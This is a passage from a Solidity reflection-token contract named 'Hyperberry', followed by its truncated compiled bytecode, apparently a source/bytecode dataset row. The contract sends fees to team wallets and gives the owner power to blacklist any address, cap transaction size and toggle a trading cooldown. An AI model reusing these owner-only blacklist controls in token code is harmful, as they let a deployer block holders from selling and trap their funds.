IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600a81526020017f4879706572626572727900000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4879706572000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565